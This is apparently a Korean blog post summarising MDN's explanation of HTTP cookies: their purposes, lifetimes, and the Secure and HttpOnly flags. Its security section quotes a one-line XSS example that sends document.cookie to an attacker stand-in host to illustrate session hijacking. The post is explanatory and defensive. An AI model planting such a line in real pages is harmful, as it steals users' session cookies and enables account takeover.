[HTTP] 쿠키(Cookie)

mokyoungg·2021년 2월 4일
0

store token

목록 보기
2/7

모든 출처는 MDN 입니다.
https://developer.mozilla.org/ko/docs/Web/HTTP/Cookies

로그인에 사용되는 토큰같이 중요한 정보는 어디에 저장해야 하는가?


HTTP 쿠키란 무엇인가

HTTP 쿠키(웹/브라우저 쿠키)는 서버가 사용자의 웹 브라우저에 전송하는 작은 데이터 조각이다.

브라우저는 이 데이터 조각들을 저장해놓았다가, 동일한 서버에 재요청시, 저장된 데이터를 함께 전송한다.

쿠기는 요청이 동일한 브라우저에서 들어왔는지 아닌지를 판단할 때 주로 사용된다.

상태가 없는(stateless) HTTP 프로토콜에서 상태 정보를 기억시켜주기 때문이다.

과거에는 클라이언트 측에 정보를 저장할 때 쿠키를 주로 사용하였다.

지금은 modern storage APIs(localStorage/sessionStorage)를 사용해 정보를 저장하는 걸 권장한다.(IndexedDB도 권장)

모든 요청마다 쿠키가 함께 전송되기 때문에 성능이 떨어지는 원인이 될 수 있기 때문이다.


쿠키의 목적

세션 관리(Session management)

  • 서버에 저장해야 할 로그인, 장바구니, 게임 스코어 등의 정보 관리

개인화(Personalization)

  • 사용자 선호, 테마 등의 세팅

트래킹(Tracking)

  • 사용자 행동을 기록하고 분석하는 용도

쿠키의 라이프 타임

session쿠키

  • 현재 세션이 끝날 때 삭제된다. 브라우저는 '현재 세션'이 끝나는 시점을 정의한다.
    (어떤 브라우저들은 재시작할 때 세션을 복원해 세션 쿠키가 무기한 존재할 수 있도록 한다.)

persistent쿠키

  • Expires 속성에 명시된 날짜에 삭제되거나, Max-Age 속성에 명시된 기간 이후에 삭제된다.

Expires 속성의 예시
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;


Secure과 HttpOnly 쿠키

Secure 쿠키는 HTTPS 프포토콜 상에서 암호화된 요청일 경우에만 전송된다.

하지만 Secure 일지라도 민감한 정보는 절대 쿠키에 저장되면 안된다.

본질적으로 안전하지 않고 이 플래그가 실질적인 보안을 제공하지 않기 때문이다.

Cross-site 스크립팅(XSS) 공격을 방지하기 위해 사용되는 HttpOnly 쿠키는 JavaScript의 Document.cookie API에 접근할 수 없다.

이들은 서버에게 전송되기만 한다.

예를 들어 서버쪽에서 지속되고 있는 세션의 쿠키는 JavaScript를 사용할 필요성이 없기 때문에 HttpOnly 플래그가 설정될 것이다.

Secure HttpOnly
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Document.cookie를 사용한 자바스크립트 접근

새로운 쿠키들은 Document.cookie 를 사용해 만들어질 수도 있으며, HttpOnly 플래그가 설정되지 않은 경우
기본의 쿠키들은 자바스크리븥로 부터 접근될 수 있다.


보안
기밀 혹은 민감한 정보는 전체 메커니즘이 본질적으로 위험하기 때문에 HTTP 쿠키 내에 저장되거나 전송되어서는 안된다.

세션 하이재킹과 XSS

쿠키는 대개 웹 애플리케이션에서 사용자와 그들의 인증된 세션을 식별하기 위해 사용되곤 한다.

그래서 쿠키를 가로채는 것은 인증된 사용자의 세션 하이재킹으로 이어질 수 있다.

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HttpOnly 쿠키 속성은 자바스크립트를 통해 쿠키 값에 접근하는 것을 막아 이런 공격을 누그러뜨리는데 도움을 줄 수 있다.

profile
생경하다.

0개의 댓글